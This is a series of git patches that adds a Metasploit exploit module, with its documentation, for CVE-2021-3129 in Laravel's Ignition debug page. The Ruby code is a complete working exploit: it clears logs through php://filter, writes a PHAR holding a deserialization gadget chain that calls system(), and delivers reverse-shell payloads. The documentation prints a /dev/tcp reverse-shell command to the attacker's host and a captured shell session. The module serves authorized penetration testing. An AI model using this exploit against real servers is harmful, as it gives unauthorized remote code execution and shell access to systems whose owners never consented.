From f1fe6b7c8930c9448647359740de180ca8e05d4b Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 8 Feb 2022 14:21:10 +0100 Subject: [PATCH 01/14] Add module to CVE-2021-3129 --- .../multi/php/ignition_laravel_debug_rce.rb | 222 ++++++++++++++++++ 1 file changed, 222 insertions(+) create mode 100644 modules/exploits/multi/php/ignition_laravel_debug_rce.rb diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb new file mode 100644 index 000000000000..2c7d343ed59f --- /dev/null +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -0,0 +1,222 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Unauthenticated remote code execution in Ignition', + 'Description' => %q{ + Ignition before 2.5.2, as used in Laravel and other products, + allows unauthenticated remote attackers to execute arbitrary code + because of insecure usage of file_get_contents() and file_put_contents(). + This is exploitable on sites using debug mode with Laravel before 8.4.2. + }, + 'Author' => [ + 'Heyder Andrade ', # module development and debugging + 'ambionics' # discovered + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', 'CVE-2021-3129'], + ['URL', 'https://www.ambionics.io/blog/laravel-debug-rce'] + ], + 'DisclosureDate' => '2021-01-13', + 'Platform' => %w[unix linux macos win], + 'Targets' => [ + [ + 'Unix (In-Memory)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ], + [ + 'Windows (In-Memory)', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :win_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } + } + ] + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']), + OptString.new('LOGPATH', [false, 'Laravel log path']) + ]) + end + + def check + print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'PUT' + }, 1) + # Check whether it is using facade/ignition + # If is using it should respond method not allowed + # checking if debug mode is enable + if res && res.code == 405 && res.body.match(/label:"(Debug)"/) + vprint_status 'Debug mode is enabled.' + # check version + versions = JSON.parse( + res.body.match(%r{ .+"report":(\{.*),"exception_class}).captures.first.gsub(/$/, '}') + ) + version = Rex::Version.new(versions['framework_version']) + vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" + return Exploit::CheckCode::Vulnerable if version <= Rex::Version.new('8.26.1') + end + return Exploit::CheckCode::Safe + end + + def exploit + unless Exploit::CheckCode::Vulnerable == check + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') + end + + @logfile = datastore['LOGPATH'] || find_log_path + fail_with(Failure::BadConfig, 'Unable to find log path. Set it up manually') unless @logfile + + clear_log + put_payload + convert_to_phar + run_phar + + handler + + clear_log + end + + def find_log_path + res = post Rex::Text.rand_text_alpha_upper(12) + if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?}) + logfile = Regexp.last_match(1).gsub(/\\/, '') + logfile += '/storage/logs/laravel.log' + res = post logfile + if res.code == 200 + vprint_status "Found log file #{logfile}" + return logfile + end + else + vprint_error 'Unable to find full path' + return + end + vprint_error "Log file does not exist #{logfile}" + return + end + + def clear_log + post "php://filter/read=consumed/resource=#{@logfile}" + end + + def put_payload + post format_payload + post Rex::Text.rand_text_alpha_upper(2) + end + + def convert_to_phar + filters = %w[ + convert.quoted-printable-decode + convert.iconv.utf-16le.utf-8 + convert.base64-decode + ].join('|') + + post "php://filter/write=#{filters}/resource=#{@logfile}" + end + + def run_phar + post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt" + # resp.body.match(%r{^(.*)\n}) + # $1 ? print_good($1) : nil + end + + def body_template(data) + { + solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution', + parameters: { + viewFile: data, + variableName: Rex::Text.rand_text_alpha_lower(4..12) + } + }.to_json + end + + def post(data) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'POST', + 'data' => body_template(data), + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => '*/*', + 'Accept-Encoding' => 'gzip, deflate' + } + }, 1) + end + + def generate_phar(pop) + file = Rex::Text.rand_text_alpha_lower(8) + stub = "\r\n" + file_contents = Rex::Text.rand_text_alpha_lower(20) + file_crc32 = Zlib.crc32(file_contents) & 0xffffffff + manifest_len = 40 + pop.length + file.length + phar = stub + phar << [manifest_len].pack('V') # length of manifest in bytes + phar << [0x1].pack('V') # number of files in the phar + phar << [0x11].pack('v') # api version of the phar manifest + phar << [0x10000].pack('V') # global phar bitmapped flags + phar << [0x0].pack('V') # length of phar alias + phar << [pop.length].pack('V') # length of phar metadata + phar << pop # pop chain + phar << [file.length].pack('V') # length of filename in the archive + phar << file # filename + phar << [file_contents.length].pack('V') # length of the uncompressed file contents + phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970. + phar << [file_contents.length].pack('V') # length of the compressed file contents + phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents + phar << [0x1b6].pack('V') # bit-mapped file-specific flags + phar << [0x0].pack('V') # serialized File Meta-data length + phar << file_contents # serialized File Meta-data + phar << [Rex::Text.sha1(phar)].pack('H*') # signature + phar << [0x2].pack('V') # signiture type + phar << 'GBMB' # signature presence + + return phar + end + + def format_payload + # rubocop:disable Style/StringLiterals + serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\"" + serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";" + serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\"" + serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\"" + serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";" + serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";" + serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}" + # rubocop:enable Style/StringLiterals + phar = generate_phar(serialize) + + b64_gadget = Base64.strict_encode64(phar).gsub('=', '') + payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join + + return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00' + end + +end From c7092861e04507da2770b8c253375be993e1e862 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 8 Feb 2022 14:38:54 +0100 Subject: [PATCH 02/14] Fix the CVE format based on failed tests --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 2c7d343ed59f..9bc555ed991c 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -25,7 +25,7 @@ def initialize(info = {}) ], 'License' => MSF_LICENSE, 'References' => [ - ['CVE', 'CVE-2021-3129'], + ['CVE', '2021-3129'], ['URL', 'https://www.ambionics.io/blog/laravel-debug-rce'] ], 'DisclosureDate' => '2021-01-13', From 6b64c6b393e60675269535a4e4e1008003b5e7f9 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 8 Feb 2022 15:29:11 +0100 Subject: [PATCH 03/14] Add module documentation --- .../multi/php/ignition_laravel_debug_rce.md | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md diff --git a/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md b/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md new file mode 100644 index 000000000000..7fae1c508db6 --- /dev/null +++ b/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +Ignition prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote malicious users to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel prior to 8.4.2. + +This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. + +The easiest way to deploy a vulnerable application is to use the image from the vulhub project available over docker compose [here](https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129/docker-compose.yml). However this container doesn't come +with the required log file created, then it needs to be created manually in the path `/var/www/storage/logs/laravel.log`. + +## Verification Steps +Confirm that functionality works: +1. Start `msfconsole` +2. `use exploit/multi/php/ignition_laravel_debug_rc` +3. set `RHOSTS` and `RPORT` +4. Confirm the target is vulnerable: `check` +5. Confirm that the target is vulnerable: `The target is vulnerable.` +6. It come already with a default payload `cmd/unix/reverse_bash` +7. `set LHOST` +8. `exploit` +9. Confirm you have now a cmd session + +## Options + +### TARGETURI (required) + +The path to the Ignition _solutions_ file to exploit. By default, the path is `/_ignition/execute-solution`. + +### LOGPATH (optional) + +Path to Laravel's log file, which contains every PHP error and stack trace. By default it is stored in `storage/logs/laravel.log`. If not defined this module will try to automatically determine it based on the stack trace of the application. + + +## Scenarios +``` +msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit + +[+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65' +[*] Started reverse TCP handler on 172.28.241.244:4444 +[*] Checking component version to 172.28.240.1:8080 +[*] Debug mode is enabled. +[*] Found PHP 7.4.15 running Laravel 8.26.1 +[*] Found log file /var/www/storage/logs/laravel.log +[*] Command shell session 2 opened (172.28.241.244:4444 -> 172.28.240.1:56840 ) at 2022-02-08 11:32:12 +0100 + +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +php /var/www/artisan --version +Laravel Framework 8.26.1 +head ../vendor/facade/ignition/CHANGELOG.md +# Changelog + +All notable changes to `ignition` will be documented in this file + +## 2.5.1 - 2020-11-13 + +- add support for LiveWire component urls + +## 2.5.0 - 2020-10-27 + +uname -a +Linux 9f96df025a2b 5.10.60.1-microsoft-standard-WSL2 #1 SMP Wed Aug 25 23:20:18 UTC 2021 x86_64 GNU/Linux +cat /etc/debian_version +10.7 +exit +[*] 172.28.240.1 - Command shell session 2 closed. +``` + +### Version and OS +This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. Details as below: + +* PHP 7.4.1 +* Laravel Framework 8.26.1 +* Ignition 2.5.1 +* Debian 10.7 \ No newline at end of file From da1bc1f6d1aee1f267ebffd46b75cad55b0d52f7 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Wed, 9 Feb 2022 21:19:10 +0100 Subject: [PATCH 04/14] Change exploit Rank. Add AutoCheck. Remove custom timeout on request cgi. --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 9bc555ed991c..0528fee8713a 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -4,9 +4,10 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = AverageRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -88,9 +89,6 @@ def check end def exploit - unless Exploit::CheckCode::Vulnerable == check - fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') - end @logfile = datastore['LOGPATH'] || find_log_path fail_with(Failure::BadConfig, 'Unable to find log path. Set it up manually') unless @logfile @@ -168,7 +166,7 @@ def post(data) 'Accept' => '*/*', 'Accept-Encoding' => 'gzip, deflate' } - }, 1) + }) end def generate_phar(pop) From cc52850ff0b03fcb414cd1b4360fe47a97b49fc4 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Wed, 9 Feb 2022 21:30:17 +0100 Subject: [PATCH 05/14] Fix coding style offenses. --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 0528fee8713a..ab84d253f642 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -79,7 +79,7 @@ def check vprint_status 'Debug mode is enabled.' # check version versions = JSON.parse( - res.body.match(%r{ .+"report":(\{.*),"exception_class}).captures.first.gsub(/$/, '}') + res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}') ) version = Rex::Version.new(versions['framework_version']) vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" @@ -89,7 +89,6 @@ def check end def exploit - @logfile = datastore['LOGPATH'] || find_log_path fail_with(Failure::BadConfig, 'Unable to find log path. Set it up manually') unless @logfile From 719e71648c5924055e5be5ac36bdf079fda312a2 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Thu, 10 Feb 2022 20:08:36 +0100 Subject: [PATCH 06/14] Change Vulnerable to Appear in the check method As we can't determine with certainly whether the target is vulnerable the check method should return appear instead of vulnerable. Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com> --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index ab84d253f642..c6718daafe5b 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -83,7 +83,7 @@ def check ) version = Rex::Version.new(versions['framework_version']) vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" - return Exploit::CheckCode::Vulnerable if version <= Rex::Version.new('8.26.1') + return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1') end return Exploit::CheckCode::Safe end From df53a62cc9964bb313168802102e73ddcd936cc9 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Thu, 10 Feb 2022 23:40:49 +0100 Subject: [PATCH 07/14] Making reason from failures more descriptives Cases [x] User defined wrong log file [-] Exploit aborted due to failure: unexpected-reply: Log file /var/www/log.log seems doesn't exit [x] module doesnt detect the log file [-] Log file does not exist /var/www/storage/logs/laravel.log [-] Exploit aborted due to failure: bad-config: Log file is required, however it was defined nor it was not automatically detecte [x] site doesnt respond with error, module unable to find the log directoy [-] Unable to automatically find the log file. To continue set LOGPATH manually [-] Exploit aborted due to failure: bad-config: Log file is required, however it was defined nor it was not automatically detected [x] site with debug mode false [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result --- .../multi/php/ignition_laravel_debug_rce.rb | 23 +++++++++++-------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index c6718daafe5b..e10d02960649 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -89,8 +89,8 @@ def check end def exploit - @logfile = datastore['LOGPATH'] || find_log_path - fail_with(Failure::BadConfig, 'Unable to find log path. Set it up manually') unless @logfile + @logfile = datastore['LOGPATH'] || find_log_file + fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile clear_log put_payload @@ -102,26 +102,31 @@ def exploit clear_log end - def find_log_path + def find_log_file + vprint_status "Trying to detect log file" res = post Rex::Text.rand_text_alpha_upper(12) if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?}) - logfile = Regexp.last_match(1).gsub(/\\/, '') - logfile += '/storage/logs/laravel.log' + logpath = Regexp.last_match(1).gsub(/\\/, '') + vprint_status "Found directory canditate #{logpath}" + logfile = "#{logpath}/storage/logs/laravel.log" + vprint_status "Cheking if #{logfile} exists" res = post logfile if res.code == 200 vprint_status "Found log file #{logfile}" return logfile + else + vprint_error "Log file does not exist #{logfile}" + return end else - vprint_error 'Unable to find full path' + vprint_error 'Unable to automatically find the log file. To continue set LOGPATH manually' return end - vprint_error "Log file does not exist #{logfile}" - return end def clear_log - post "php://filter/read=consumed/resource=#{@logfile}" + res = post "php://filter/read=consumed/resource=#{@logfile}" + fail_with(Failure::UnexpectedReply, "Log file #{@logfile} seems doesn't exits ") unless res.code == 200 end def put_payload From d1764b2e75bc103cb31108a127e99396321f4991 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 11 Feb 2022 00:00:19 +0100 Subject: [PATCH 08/14] Update option name Update option name from LOGPATH to LOGFILE to become more intuitive. --- .../exploits/multi/php/ignition_laravel_debug_rce.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index e10d02960649..b824d6e78fcb 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -62,7 +62,7 @@ def initialize(info = {}) ) register_options([ OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']), - OptString.new('LOGPATH', [false, 'Laravel log path']) + OptString.new('LOGFILE', [false, 'Laravel log file absolute path']) ]) end @@ -89,7 +89,7 @@ def check end def exploit - @logfile = datastore['LOGPATH'] || find_log_file + @logfile = datastore['LOGFILE'] || find_log_file fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile clear_log @@ -103,7 +103,7 @@ def exploit end def find_log_file - vprint_status "Trying to detect log file" + vprint_status 'Trying to detect log file' res = post Rex::Text.rand_text_alpha_upper(12) if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?}) logpath = Regexp.last_match(1).gsub(/\\/, '') @@ -119,14 +119,15 @@ def find_log_file return end else - vprint_error 'Unable to automatically find the log file. To continue set LOGPATH manually' + vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually' return end end def clear_log res = post "php://filter/read=consumed/resource=#{@logfile}" - fail_with(Failure::UnexpectedReply, "Log file #{@logfile} seems doesn't exits ") unless res.code == 200 + # guard clause when try to exploit a not vulnerable target (set ForceExploit true) + fail_with(Failure::UnexpectedReply, "Log file #{@logfile} seems doesn't exist.") unless res.code == 200 end def put_payload From ca62a05ce12ae8ef35e6a2605ceab819cc72ba3c Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Fri, 11 Feb 2022 00:30:31 +0100 Subject: [PATCH 09/14] Clenup and check strategy - Removed else statements from check in favor of implicit return - Added comment explaining the check strategy (to be less intrusive) --- .../exploits/multi/php/ignition_laravel_debug_rce.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index b824d6e78fcb..68aa39172809 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -83,6 +83,9 @@ def check ) version = Rex::Version.new(versions['framework_version']) vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" + # to be sure that it is vulnerable we could try to clenup the log files (invalid and valid) + # but it is way more intrusive than just checking the version moreover we would need to call + # the find_log_file method before, meaning four requests more. return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1') end return Exploit::CheckCode::Safe @@ -114,14 +117,12 @@ def find_log_file if res.code == 200 vprint_status "Found log file #{logfile}" return logfile - else - vprint_error "Log file does not exist #{logfile}" - return end - else - vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually' + vprint_error "Log file does not exist #{logfile}" return end + vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually' + return end def clear_log From 2e73469b6b7c86d74c86e5d7d32e935c56d00e66 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 15 Feb 2022 08:46:02 +0100 Subject: [PATCH 10/14] Update modules/exploits/multi/php/ignition_laravel_debug_rce.rb Fix typos Co-authored-by: Brendan --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 68aa39172809..f12ab51f483c 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -83,7 +83,7 @@ def check ) version = Rex::Version.new(versions['framework_version']) vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" - # to be sure that it is vulnerable we could try to clenup the log files (invalid and valid) + # to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid) # but it is way more intrusive than just checking the version moreover we would need to call # the find_log_file method before, meaning four requests more. return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1') From c935bc6388a06a4391c14c2e00526d18f20438b3 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 15 Feb 2022 08:46:25 +0100 Subject: [PATCH 11/14] Update modules/exploits/multi/php/ignition_laravel_debug_rce.rb Fix typos Co-authored-by: Brendan --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index f12ab51f483c..8fcf34bf5952 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -110,7 +110,7 @@ def find_log_file res = post Rex::Text.rand_text_alpha_upper(12) if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?}) logpath = Regexp.last_match(1).gsub(/\\/, '') - vprint_status "Found directory canditate #{logpath}" + vprint_status "Found directory candidate #{logpath}" logfile = "#{logpath}/storage/logs/laravel.log" vprint_status "Cheking if #{logfile} exists" res = post logfile From acfc7348c3b72c27ac0efe1e350e842e934deba3 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 15 Feb 2022 08:47:10 +0100 Subject: [PATCH 12/14] Fixed typos Co-authored-by: Brendan --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 8fcf34bf5952..59ff36d71592 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -112,7 +112,7 @@ def find_log_file logpath = Regexp.last_match(1).gsub(/\\/, '') vprint_status "Found directory candidate #{logpath}" logfile = "#{logpath}/storage/logs/laravel.log" - vprint_status "Cheking if #{logfile} exists" + vprint_status "Checking if #{logfile} exists" res = post logfile if res.code == 200 vprint_status "Found log file #{logfile}" From bbb66eba552bafbc59b1e1cc9370f8b0a6e63e18 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 15 Feb 2022 08:47:26 +0100 Subject: [PATCH 13/14] Fixed typos Co-authored-by: Brendan --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 59ff36d71592..66f1a756d485 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -128,7 +128,7 @@ def find_log_file def clear_log res = post "php://filter/read=consumed/resource=#{@logfile}" # guard clause when try to exploit a not vulnerable target (set ForceExploit true) - fail_with(Failure::UnexpectedReply, "Log file #{@logfile} seems doesn't exist.") unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200 end def put_payload From 891387885bf742cf41577b45bfef26bc80b845a8 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Tue, 15 Feb 2022 08:47:50 +0100 Subject: [PATCH 14/14] Fixed typos Co-authored-by: Brendan --- modules/exploits/multi/php/ignition_laravel_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb index 66f1a756d485..cc1a88177af2 100644 --- a/modules/exploits/multi/php/ignition_laravel_debug_rce.rb +++ b/modules/exploits/multi/php/ignition_laravel_debug_rce.rb @@ -127,7 +127,7 @@ def find_log_file def clear_log res = post "php://filter/read=consumed/resource=#{@logfile}" - # guard clause when try to exploit a not vulnerable target (set ForceExploit true) + # guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true) fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200 end